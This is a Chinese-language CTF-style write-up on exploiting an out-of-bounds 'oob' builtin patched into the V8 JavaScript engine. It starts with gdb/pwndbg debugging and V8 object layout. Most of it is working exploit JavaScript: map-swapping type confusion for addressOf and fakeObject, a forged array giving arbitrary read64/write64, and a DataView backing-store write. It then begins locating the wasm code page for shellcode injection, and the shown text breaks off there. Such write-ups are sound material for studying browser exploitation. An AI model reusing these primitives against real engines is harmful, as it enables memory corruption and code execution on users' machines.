%DebugPrint(obj) 输出对象地址
%SystemBreak() 触发调试中断主要结合gdb等调试器使用
使用：
//方法一
winter@ubuntu:~/v8/v8/out.gn/x64.debug$ ./d8 --allow-natives-syntax
//方法二
winter@ubuntu:~/v8/v8/out.gn/x64.debug$ gdb ./d8
[...]
pwndbg> set args --allow-natives-syntax test.js
#### 2.job命令
功能：可视化显示JavaScript对象的内存结构.
gdb下使用：job 对象地址
显示如下，具体v8的内存结构，稍后“v8对象结构”里进一步解释。
pwndbg> job 0x4f9d210dd59
0x4f9d210dd59: [JSArray]
- map: 0x257bfd042d99 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x355e47bd1111 <JSArray[0]>
- elements: 0x04f9d210dce9 <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)]
- length: 3
- properties: 0x26cfa9fc0c71 <FixedArray[0]> {
#length: 0x1da9ebe001a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x04f9d210dce9 <FixedArray[3]> {
0: 1
1: 2
2: 3
}
#### 3.telescope
功能：查看一下内存数据
使用：telescope 查看地址 （长度）
> （）表示里面的可以没有
### v8知识点
#### 指针标记
v8使用指针标记机制来区分 **指针** ， **双精度数** 和 **Smis** （代表）`immediate small integer`。
Double: Shown as the 64-bit binary representation without any changes
Smi: Represented as value << 32, i.e 0xdeadbeef is represented as 0xdeadbeef00000000
Pointers: Represented as addr & 1. 0x2233ad9c2ed8 is represented as 0x2233ad9c2ed9
所以，v8中，如果一个值表示的是指针，那么会将该值的最低bit设置为1，但其实真实的值需要减去1。
job直接给对象地址就行，telescope的时候，需要给真实值，需要-1。
#### v8对象结构
在/path/v8/out.gn/x64.debug下创建一个test.js
var a = [1,2,3];
%DebugPrint(a);
%SystemBreak()
winter@ubuntu:~/v8/v8/out.gn/x64.debug$ gdb ./d8
[...]
Reading symbols from ./d8...done.
pwndbg> set args --allow-natives-syntax test.js
pwndbg> r
[...]
DebugPrint: 0x31c7fffcdd59: [JSArray]
[...]
pwndbg> job 0x31c7fffcdd59
0x31c7fffcdd59: [JSArray]
- map: 0x315768442d99 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x3f6dffcd1111 <JSArray[0]>
- elements: 0x31c7fffcdce9 <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)]
- length: 3
- properties: 0x176329f00c71 <FixedArray[0]> {
#length: 0x3ae23f8001a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x31c7fffcdce9 <FixedArray[3]> {
0: 1
1: 2
2: 3
}
pwndbg> job 0x31c7fffcdce9
0x31c7fffcdce9: [FixedArray]
- map: 0x176329f00851 <Map>
- length: 3
0: 1
1: 2
2: 3
所以，一个对象有如下属性：
* map：定义了如何访问对象
* prototype：对象的原型（如果有）
* elements：对象的地址
* length：长度
* properties：属性，存有map和length
分析：
对象里存储的数据是在elements指向的内存区域的，而且是在对象的上面。也就是说，在内存申请上，v8先申请了一块内存存储元素内容，然后申请了一块内存存储这个数组的对象结构，对象中的elements指向了存储元素内容的内存地址。
#### map属性详解
因为稍后需要用到，，所以放在这里讲一下
pwndbg> job 0x176329f00801
0x176329f00801: [Map]
- type: FIXED_ARRAY_TYPE
- instance size: variable
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- non-extensible
- back pointer: 0x176329f004d1 <undefined>
- prototype_validity cell: 0
- instance descriptors (own) #0: 0x176329f00259 <DescriptorArray[0]>
- layout descriptor: (nil)
- prototype: 0x176329f001d9 <null>
- constructor: 0x176329f001d9 <null>
- dependent code: 0x176329f002c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
对象的map（数组是对象）是一种数据结构，其中包含以下信息：
* 对象的动态类型，即String，Uint8Array，HeapNumber等。
* 对象的大小（以字节为单位）
* 对象的属性及其存储位置
* 数组元素的类型，例如，unboxed的双精度数或带标记的指针
* 对象的原型（如果有）
属性名称通常存储在Map中，而属性值则存储在对象本身中几个可能区域之一中。然后，map将提供属性值在相应区域中的确切位置。
**本质上，映射定义了应如何访问对象。**
**重点**
* 对于对象数组：存储的是每个对象的地址
* 对于浮点数组：以浮点数形式存储数值
所以，如果将对象数组的map换成浮点数组 => 就变成了浮点数组，会以浮点数的形式存储对象的地址；如果将对浮点组的map换成对象数组 =>
就变成了对象数组，打印浮点数存储的地址。这实际上就是类型混淆的内容。
#### 对象和对象数组
有时候想着想着有点乱，调试一下。
一个浮点数组、整数数组和一个对象数组。
var a = [1.1,2.2,3.3];
%DebugPrint(a);
%SystemBreak();
var b = [1,2,3];
%DebugPrint(b);
%SystemBreak();
var obj_array = [a,b];
%DebugPrint(obj_array);
%SystemBreak();
winter@ubuntu:~/v8/v8/out.gn/x64.debug$ gdb ./d8
[...]
pwndbg> set args --allow-natives-syntax test.js
pwndbg> r
[...]
//浮点数组
DebugPrint: 0x23ddebc4de71: [JSArray]
- map: 0x13e6d5782ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x1bb893151111 <JSArray[0]>
- elements: 0x23ddebc4de49 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
- length: 3
- properties: 0x1574a0580c71 <FixedArray[0]> {
#length: 0x19fc51e401a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x23ddebc4de49 <FixedDoubleArray[3]> {
0: 1.1
1: 2.2
2: 3.3
}
[...]
pwndbg> c
Continuing.
//整型数组
DebugPrint: 0x23ddebc4de91: [JSArray]
- map: 0x13e6d5782d99 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x1bb893151111 <JSArray[0]>
- elements: 0x23ddebc4ddb9 <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)]
- length: 3
- properties: 0x1574a0580c71 <FixedArray[0]> {
#length: 0x19fc51e401a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x23ddebc4ddb9 <FixedArray[3]> {
0: 1
1: 2
2: 3
}
[...]
pwndbg> c
Continuing.
//对象数组
DebugPrint: 0x23ddebc4ded1: [JSArray]
- map: 0x13e6d5782f79 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x1bb893151111 <JSArray[0]>
- elements: 0x23ddebc4deb1 <FixedArray[2]> [PACKED_ELEMENTS]
- length: 2
- properties: 0x1574a0580c71 <FixedArray[0]> {
#length: 0x19fc51e401a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x23ddebc4deb1 <FixedArray[2]> {
0: 0x23ddebc4de71 <JSArray[3]>//存储的是浮点数组的地址
1: 0x23ddebc4de91 <JSArray[3]>//存储的是整型数组的地址
}
也就是说，对象数组里面，存储的是别的对象的地址，这里存储的是浮点数组和整型数组的地址
## 漏洞分析
分析给定文件中的oob.diff,左边行开头的地方，表示diff文件增加的内容
> 该diff文件实际就是增加了一个oob函数。主要分为三部分：定义、实现和关联。
**定义**
> 为数组添加名为oob的内置函数（就是别人调用的话），内部调用的函数名是kArrayOob（实现oob的函数）
src/bootstrapper.cc
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
**实现**
> * 函数将首先检查参数的数量是否大于2（第一个参数始终是`this`参数）。如果是，则返回undefined。
> *
> 如果只有一个参数（`this`），它将数组转换成`FixedDoubleArray`，然后返回array[length]（也就是以浮点数形式返回array[length]）
> * 如果有两个参数（`this`和`value`），它以float形式将`value`写入`array[length]`。
>
src/builtins/builtins-array.cc
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
**重点**
漏洞就出在这个函数里面
* 如果给一个参数，返回了array[length]
* 如果给两个参数，将给定的参数写入array[length]
很显然array[length]这里冒了，访问到了数组后面的内存区域。调试看一下后面这个内存存储什么信息。
使用debug版本
//test.js
var a = [1.1,2.2,3.3];
%DebugPrint(a);
%SystemBreak();
winter@ubuntu:~/v8/v8/out.gn/x64.debug$ gdb ./d8
[...]
pwndbg> set args --allow-natives-syntax test.js
pwndbg> r
[...]
DebugPrint: 0x71b3a0cde29: [JSArray]
- map: 0x288120f02ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x3086d0311111 <JSArray[0]>
- elements: 0x071b3a0cde01 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
- length: 3
- properties: 0x109193c80c71 <FixedArray[0]> {
#length: 0x2f6f5d1801a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x071b3a0cde01 <FixedDoubleArray[3]> {
0: 1.1
1: 2.2
2: 3.3
}
0x288120f02ed9: [Map]
- type: JS_ARRAY_TYPE
- instance size: 32
- inobject properties: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x288120f02e89 <Map(HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x2f6f5d180609 <Cell value= 1>
- instance descriptors #1: 0x3086d0311f49 <DescriptorArray[1]>
- layout descriptor: (nil)
- transitions #1: 0x3086d0311eb9 <TransitionArray[4]>Transition array #1:
0x109193c84ba1 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x288120f02f29 <Map(HOLEY_DOUBLE_ELEMENTS)>
- prototype: 0x3086d0311111 <JSArray[0]>
- constructor: 0x3086d0310ec1 <JSFunction Array (sfi = 0x2f6f5d18aca1)>
- dependent code: 0x109193c802c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
[...]
//查看elements的内存地址
pwndbg> telescope 0x071b3a0cde01-1
00:0000│ 0x71b3a0cde00 —▸ 0x109193c814f9 ◂— 0x109193c801
01:0008│ 0x71b3a0cde08 ◂— 0x300000000
02:0010│ 0x71b3a0cde10 ◂— 0x3ff199999999999a
03:0018│ 0x71b3a0cde18 ◂— 0x400199999999999a
04:0020│ 0x71b3a0cde20 ◂— 0x400a666666666666 ('ffffff\n@')
05:0028│ 0x71b3a0cde28 —▸ 0x288120f02ed9 ◂— 0x40000109193c801
06:0030│ 0x71b3a0cde30 —▸ 0x109193c80c71 ◂— 0x109193c808
07:0038│ 0x71b3a0cde38 —▸ 0x71b3a0cde01 ◂— 0x109193c814
//element+10开始的地方，存储的是数据
pwndbg> p {double } 0x71b3a0cde10
$1 = 1.1000000000000001
pwndbg> p {double } 0x71b3a0cde18
$2 = 2.2000000000000002
pwndbg> p {double } 0x71b3a0cde20
$3 = 3.2999999999999998
//查看冒出来地址里存储的数据，发现存储的是map
pwndbg> job 0x288120f02ed9
0x288120f02ed9: [Map]
- type: JS_ARRAY_TYPE
- instance size: 32
- inobject properties: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x288120f02e89 <Map(HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x2f6f5d180609 <Cell value= 1>
- instance descriptors #1: 0x3086d0311f49 <DescriptorArray[1]>
- layout descriptor: (nil)
- transitions #1: 0x3086d0311eb9 <TransitionArray[4]>Transition array #1:
0x109193c84ba1 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x288120f02f29 <Map(HOLEY_DOUBLE_ELEMENTS)>
- prototype: 0x3086d0311111 <JSArray[0]>
- constructor: 0x3086d0310ec1 <JSFunction Array (sfi = 0x2f6f5d18aca1)>
- dependent code: 0x109193c802c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
综上，我们得到的是读写map和修改map的功能
我们在release版本下实际调试
var a = [1.1,2.2,3.3];
%DebugPrint(a);
%SystemBreak();
var data = a.oob();
console.log("[*] oob return data:" + data.toString());
%SystemBreak();
a.oob(2);
%SystemBreak();
winter@ubuntu:~/v8/v8/out.gn/x64.release$ gdb ./d8
[...]
pwndbg> set args --allow-natives-syntax test.js
pwndbg> r
[...]
0x2c5f52b0de29 <JSArray[3]>
//打印对象内存地址
pwndbg> telescope 0x2c5f52b0de29-1
00:0000│ 0x2c5f52b0de28 —▸ 0x344502282ed9 ◂— 0x400003ee9994c01 <= 对象的map nmap
01:0008│ 0x2c5f52b0de30 —▸ 0x3ee9994c0c71 ◂— 0x3ee9994c08 <= prototype
02:0010│ 0x2c5f52b0de38 —▸ 0x2c5f52b0de01 ◂— 0x3ee9994c14 <= element
03:0018│ 0x2c5f52b0de40 ◂— 0x300000000 <= length
04:0020│ 0x2c5f52b0de48 ◂— 0x0
//打印element内存地址
pwndbg> telescope 0x2c5f52b0de01-1
00:0000│ 0x2c5f52b0de00 —▸ 0x3ee9994c14f9 ◂— 0x3ee9994c01
01:0008│ 0x2c5f52b0de08 ◂— 0x300000000 <= length
02:0010│ 0x2c5f52b0de10 ◂— 0x3ff199999999999a <= 第一个值
03:0018│ 0x2c5f52b0de18 ◂— 0x400199999999999a <= 第二个值
04:0020│ 0x2c5f52b0de20 ◂— 0x400a666666666666 ('ffffff\n@') <= 第二个值
05:0028│ 0x2c5f52b0de28 —▸ 0x344502282ed9 ◂— 0x400003ee9994c01 <=对象的map
06:0030│ 0x2c5f52b0de30 —▸ 0x3ee9994c0c71 ◂— 0x3ee9994c08
07:0038│ 0x2c5f52b0de38 —▸ 0x2c5f52b0de01 ◂— 0x3ee9994c14
pwndbg> p {double } 0x71b3a0cde10
$1 = 1.1000000000000001
pwndbg> p {double } 0x71b3a0cde18
$2 = 2.2000000000000002
pwndbg> p {double } 0x71b3a0cde20
$3 = 3.2999999999999998
pwndbg> c
Continuing.
[*] oob return data:2.8394443558087e-310//和泄漏出来的一样
pwndbg> p {double } 0x2c5f52b0de28
$2 = 2.8394443558087202e-310
pwndbg> c
Continuing.
pwndbg> telescope 0x2c5f52b0de01-1
00:0000│ 0x2c5f52b0de00 —▸ 0x3ee9994c14f9 ◂— 0x3ee9994c01
01:0008│ 0x2c5f52b0de08 ◂— 0x300000000
02:0010│ 0x2c5f52b0de10 ◂— 0x3ff199999999999a
03:0018│ 0x2c5f52b0de18 ◂— 0x400199999999999a
04:0020│ 0x2c5f52b0de20 ◂— 'ffffff\n@'
05:0028│ 0x2c5f52b0de28 ◂— 0x4000000000000000
06:0030│ 0x2c5f52b0de30 —▸ 0x3ee9994c0c71 ◂— 0x3ee9994c08
07:0038│ 0x2c5f52b0de38 —▸ 0x2c5f52b0de01 ◂— 0x3ee9994c14
pwndbg> p {double } 0x2c5f52b0de28
$3 = 2//被覆盖了
**关联**
> 为kArrayOob类型做了与实现函数的关联：
src/builtins/builtins-definitions.h
+ CPP(ArrayOob) \
/src/compiler/typer.cc
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();
## 漏洞利用
### 类型混淆
由于v8完全依赖Map类型对js对象进行解析。
所以，我们通过修改对象的map，将对象数组的map设置为浮点数组的map，就能让v8解析原来的对象数组的时候，解析成为浮点数组，反之同理。由于两种数组内部存储的不同，可以实现一些小功能。
* 对象数组存储的是每个对象的地址，也就是对象数组存的是地址。
* 浮点数组存储的是浮点型是的数值。
#### addressOf
> 泄露某个对象的内存地址，日后可以实现任意地址读的功能。
因为对象数组存储的是地址，但是如果v8解析是对象数组的话，肯定就不会输出这个地址，而是找到这个对象再操作。但是，如果，让v8误以为这是一个浮点数组，那么，v8就把把这个地址当作是浮点数，以浮点数的形式将对象数组里面存储的对象地址输出了。
所以，步骤如下：
1.拿到要泄漏的地址
2.把这个地址，覆盖已经创建好的对象数组第一个元素obj_array[0]（让地址成为对象数组的一员）
3.将对象数组的map替换为浮点数组的map
4.输出数组的第一个元素，此时，就会按照浮点形式，将地址里的内容输出出来。
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];
var obj_array_map = obj_array.oob();//oob函数出来的就是map
var float_array_map = float_array.oob();
// 泄露某个object的地址
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
obj_array.oob(float_array_map);
let obj_addr = f2i(obj_array[0]) - 1n;//泄漏出来的地址-1才是真实地址
obj_array.oob(obj_array_map); // 还原array类型以便后续继续使用
return obj_addr;
}
#### fakeObject
> 将指定内存地址强制转换为一个js对象，日后可以实现任意地址写的功能。
现在，有了地址，地址是一个整数，整数可以直接变成以浮点数表示，但是不能变成对象，所以还是需要混淆。
步骤：
1.拿到地址，转换为浮点数表示。
2.放入浮点数组第一个位置中。
3.将浮点数组的map替换为对象数组的map
4.数组的第一个位置上，内存地址就已经变成一个js对象了。
function fakeObject(addr_to_fake)
{
float_array[0] = i2f(addr_to_fake + 1n);//地址需要+1才是v8中的正确表达方式
float_array.oob(obj_array_map);
let faked_obj = float_array[0];
float_array.oob(float_array_map); // 还原array类型以便后续继续使用
return faked_obj;
}
#### 辅助的工具函数
浮点数转整数、整数转浮点数、字节串表示整数
实现方法：开辟一块空间，创建两个数组，分别是浮点数组float64和整数数组bigUint64，他们公用创造的那块空间。
这样，根据原来的形式放入对应的数组，用转换的数组输出即可。
例如：f2i()，要将浮点数转换为整数，只要将浮点数放入浮点数组，然后用整数数组输出，因为空间是一个，所以，输入输出的是同一个值，但由于数组的属性不同，会按数组的属性进行解释，进来的时候是浮点数，比如存入了0001H单元，然后输出的时候，还会读这个0001H单元，但是这个时候，用的是整数数组，所以会把它以整数的格式输出。
var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
// 浮点数转换为64位无符号整数
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
整合在一起调试：
// ××××××××1. 无符号64位整数和64位浮点数的转换代码××××××××
var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
// 浮点数转换为64位无符号整数
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
// ××××××××2. addressOf和fakeObject的实现××××××××
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];
var obj_array_map = obj_array.oob();//oob函数出来的就是map
var float_array_map = float_array.oob();
// 泄露某个object的地址
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
obj_array.oob(float_array_map);
let obj_addr = f2i(obj_array[0]) - 1n;//泄漏出来的地址-1才是真实地址
obj_array.oob(obj_array_map); // 还原array类型以便后续继续使用
return obj_addr;
}
function fakeObject(addr_to_fake)
{
float_array[0] = i2f(addr_to_fake + 1n);//地址需要+1才是v8中的正确表达方式
float_array.oob(obj_array_map);
let faked_obj = float_array[0];
float_array.oob(float_array_map); // 还原array类型以便后续继续使用
return faked_obj;
}
// ××××××××3. 测试××××××××
var test_obj = {};
%DebugPrint(test_obj);
var test_obj_addr = addressOf(test_obj);
console.log("[*] leak object addr: 0x" + hex(test_obj_addr));
%SystemBreak();
pwndbg> r
[...]
0x189f4fdcf201 <Object map = 0x2ded805c0459>
[*] leak object addr: 0x0000189f4fdcf200
成功泄漏对象的地址。同样，利用fakeObject可以将某个内存地址转换为一个object对象。
### 任意地址读写
>
> 我们首先构造一个假的数组对象，我们可以用fakeObject将其转换为一个object对象。因为自己构造的elements指针是可控的，而这个指针是指向存储数组元素内容的内存地址。所以，只要在elements上放入我们想要读写的地址，就可以用对象进行读写操作了。
步骤：
1.利用可控内存，伪造自己的对象结构。
2.将自己伪造的对象结构转换为真的对象。
我们伪造的是一个对象在内存中的表示，只有这样，elements才是我们自己可以填的。通过addressOf找到是，伪造的对象数组在内存中的地址，也就是他的对象结构开头，真实存储的内容在
**泄漏的地址-伪造的长度（6×0x8）** ，然后我们要让v8认为真实存储的内容是一个对象，所以对 **泄漏的地址-伪造的长度（6×0x8）**
做fakeObject，那么，我们构造的这个数组，就真的成为了一个对象在内存的表示。
3.任意地址读。给定的地址是要读的地址，elements在读写的数据-0x10。把这个伪造的elements给伪造的内存，然后利用上述第二步，变成一个对象（fake_object是用fake_array出来的），读取对象的元素，就是地址的内容了。
4.任意地址写也是一样。把地址变成一个对象，那么要写入的地址就是我们对象的数据了。
// read & write anywhere
// 这是一块我们可以控制的内存
var fake_array = [ //伪造一个对象
float_array_map,
i2f(0n),
i2f(0x41414141n),// fake obj's elements ptr
i2f(0x1000000000n),
1.1,
2.2,
];
// 获取到这块内存的地址
var fake_array_addr = addressOf(fake_array);
// 将可控内存转换为对象
var fake_object_addr = fake_array_addr - 0x30;
var fake_object = fakeObject(fake_object_addr);
// 任意地址读
function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
let leak_data = f2i(fake_object[0]);
return leak_data;
}
// 任意地址写
function write64(addr, data)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
fake_object[0] = i2f(data);
}
整合测试一下：
// ××××××××1. 无符号64位整数和64位浮点数的转换代码××××××××
var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
// 浮点数转换为64位无符号整数
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
// ××××××××2. addressOf和fakeObject的实现××××××××
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];
var obj_array_map = obj_array.oob();//oob函数出来的就是map
var float_array_map = float_array.oob();
// 泄露某个object的地址
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
obj_array.oob(float_array_map);
let obj_addr = f2i(obj_array[0]) - 1n;//泄漏出来的地址-1才是真实地址
obj_array.oob(obj_array_map); // 还原array类型以便后续继续使用
return obj_addr;
}
function fakeObject(addr_to_fake)
{
float_array[0] = i2f(addr_to_fake + 1n);//地址需要+1才是v8中的正确表达方式
float_array.oob(obj_array_map);
let faked_obj = float_array[0];
float_array.oob(float_array_map); // 还原array类型以便后续继续使用
return faked_obj;
}
// ××××××××3.read & write anywhere××××××××
// 这是一块我们可以控制的内存
var fake_array = [ //伪造一个对象
float_array_map,
i2f(0n),
i2f(0x41414141n),// fake obj's elements ptr
i2f(0x1000000000n),
1.1,
2.2,
];
// 获取到这块内存的地址
var fake_array_addr = addressOf(fake_array);
// 将可控内存转换为对象
var fake_object_addr = fake_array_addr - 0x30n;
var fake_object = fakeObject(fake_object_addr);
// 任意地址读
function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
let leak_data = f2i(fake_object[0]);
return leak_data;
}
// 任意地址写
function write64(addr, data)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
fake_object[0] = i2f(data);
}
// ××××××××4. 测试××××××××
var a = [1.1,2.2,3.3];
var address = addressOf(a);
var read = read64(address);
console.log("[*]read 0x"+hex(address)+":0x"+hex(read));
%DebugPrint(a);
%SystemBreak();
write64(address,0x01020304n);
%SystemBreak();
创建一个对象，找到他的地址。
读取对象地址存储的内容，然后改写对象地址存储的内容。
pwndbg> r
[...]
[*]read 0x000031f15738fa50:0x0000369d9e942ed9//读取出来对象地址存的数据是0x0000369d9e942ed9
0x31f15738fa51 <JSArray[3]>
//查看对象地址的内存，发现和读取出来的一样
pwndbg> telescope 0x000031f15738fa50
00:0000│ 0x31f15738fa50 —▸ 0x369d9e942ed9 ◂— 0x400002d1469d401 <=对象地址，存储的内容被读取
01:0008│ 0x31f15738fa58 —▸ 0x2d1469d40c71 ◂— 0x2d1469d408
02:0010│ 0x31f15738fa60 —▸ 0x31f15738fa29 ◂— 0x2d1469d414
pwndbg> c
Continuing.
pwndbg> telescope 0x000031f15738fa50
00:0000│ 0x31f15738fa50 ◂— 0x1020304 <=对象地址，存储的内容被改写
01:0008│ 0x31f15738fa58 —▸ 0x2d1469d40c71 ◂— 0x2d1469d408
02:0010│ 0x31f15738fa60 —▸ 0x31f15738fa29 ◂— 0x2d1469d414
成功！！
#### 任意写改进
问题：通过上面的方式任意地址写，在写0x7fxxxx这样的高地址的时候会出现问题，地址的低位会被修改，导致出现访问异常。
解决：DataView对象中的`backing_store`会指向申请的`data_buf`（`backing_store`相当于我们的elements），修改`backing_store`为我们想要写的地址，并通过DataView对象的setBigUint64方法就可以往指定地址正常写入数据了。
var data_buf = new ArrayBuffer(8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
function writeDataview(addr,data){
write64(buf_backing_store_addr, addr);
data_view.setBigUint64(0, data, true);
console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}
### 浏览器运行shellcode：wasm
> wasm是让JavaScript直接执行高级语言生成的机器码的一种技术。
>
>
> 使用：网站[https://wasdk.github.io/WasmFiddle/：在线将C语言直接转换为wasm并生成JS配套调用代码。（左下角选择Code](https://wasdk.github.io/WasmFiddle/%EF%BC%9A%E5%9C%A8%E7%BA%BF%E5%B0%86C%E8%AF%AD%E8%A8%80%E7%9B%B4%E6%8E%A5%E8%BD%AC%E6%8D%A2%E4%B8%BAwasm%E5%B9%B6%E7%94%9F%E6%88%90JS%E9%85%8D%E5%A5%97%E8%B0%83%E7%94%A8%E4%BB%A3%E7%A0%81%E3%80%82%EF%BC%88%E5%B7%A6%E4%B8%8B%E8%A7%92%E9%80%89%E6%8B%A9Code)
> Buffer，然后点击最上方的Build按钮，左下角生成了我们需要的wasm代码。）
>
>
>
> 问题：wasm中只能运行数学计算、图像处理等系统无关的高级语言代码。所以不能直接在wasm中写入我们的shellcode，然后浏览器调用执行。
>
> 方案：结合漏洞将原本内存中的的wasm代码替换为shellcode，当后续调用wasm的接口时，实际上调用的就是我们的shellcode了。
步骤：
1.首先加载一段wasm代码到内存中
2.然后通过addressOf找到存放wasm的内存地址
3.接着通过任意地址写原语用shellcode替换原本wasm的代码内容
4.最后调用wasm的函数接口即可触发调用shellcode
#### 寻找存放wasm代码的内存页地址
通过Function—>shared_info—>WasmExportedFunctionData—>instance，在instance+0x88的固定偏移处，就能读取到存储wasm代码的内存页起始地址。
//test.js，用debug版本调试
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
%DebugPrint(f);
%SystemBreak();
winter@ubuntu:~/v8/v8/out.gn/x64.debug$ gdb ./d8
[...]
pwndbg> set args --allow-natives-syntax test.js
pwndbg> r
[...]
DebugPrint: 0x2c708e5dfab9: [Function] in OldSpace
- map: 0x07f1e5ac4379 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x2c708e5c2109 <JSFunction (sfi = 0x84e79c8039)>
- elements: 0x1c0c1f4c0c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- function prototype: <no-prototype-slot>
- shared_info: 0x2c708e5dfa81 <SharedFunctionInfo 0> <= shared_info
- name: 0x1c0c1f4c4ae1 <String[#1]: 0>
- formal_parameter_count: 0
- kind: NormalFunction
[...]
//shared_info在Function+0x18的位置
pwndbg> telescope 0x2c708e5dfab9-1
00:0000│ 0x2c708e5dfab8 —▸ 0x7f1e5ac4379 ◂— 0x700001c0c1f4c01
01:0008│ 0x2c708e5dfac0 —▸ 0x1c0c1f4c0c71 ◂— 0x1c0c1f4c08
... ↓
03:0018│ 0x2c708e5dfad0 —▸ 0x2c708e5dfa81 ◂— 0x5900001c0c1f4c09 <= here(看最左边这个03:0018)
04:0020│ 0x2c708e5dfad8 —▸ 0x2c708e5c1869 ◂— 0x1c0c1f4c0f
05:0028│ 0x2c708e5dfae0 —▸ 0x84e79c0699 ◂— 0xd100001c0c1f4c15
06:0030│ 0x2c708e5dfae8 —▸ 0x3e5b7d3c2001 ◂— or cl, byte ptr [rdi + rbx + 0xc]
07:0038│ 0x2c708e5dfaf0 —▸ 0x1c0c1f4c0bc1 ◂— 0x1c0c1f4c01
pwndbg> job 0x2c708e5dfa81
0x2c708e5dfa81: [SharedFunctionInfo] in OldSpace
- map: 0x1c0c1f4c09e1 <Map[56]>
- name: 0x1c0c1f4c4ae1 <String[#1]: 0>
- kind: NormalFunction
- function_map_index: 144
- formal_parameter_count: 0
- expected_nof_properties: 0
- language_mode: sloppy
- data: 0x2c708e5dfa59 <WasmExportedFunctionData> <= WasmExportedFunctionData
- code (from data): 0x3e5b7d3c2001 <Code JS_TO_WASM_FUNCTION>
- function token position: -1
[...]
//WasmExportedFunctionData在SharedFunctionInfo+0x8的位置
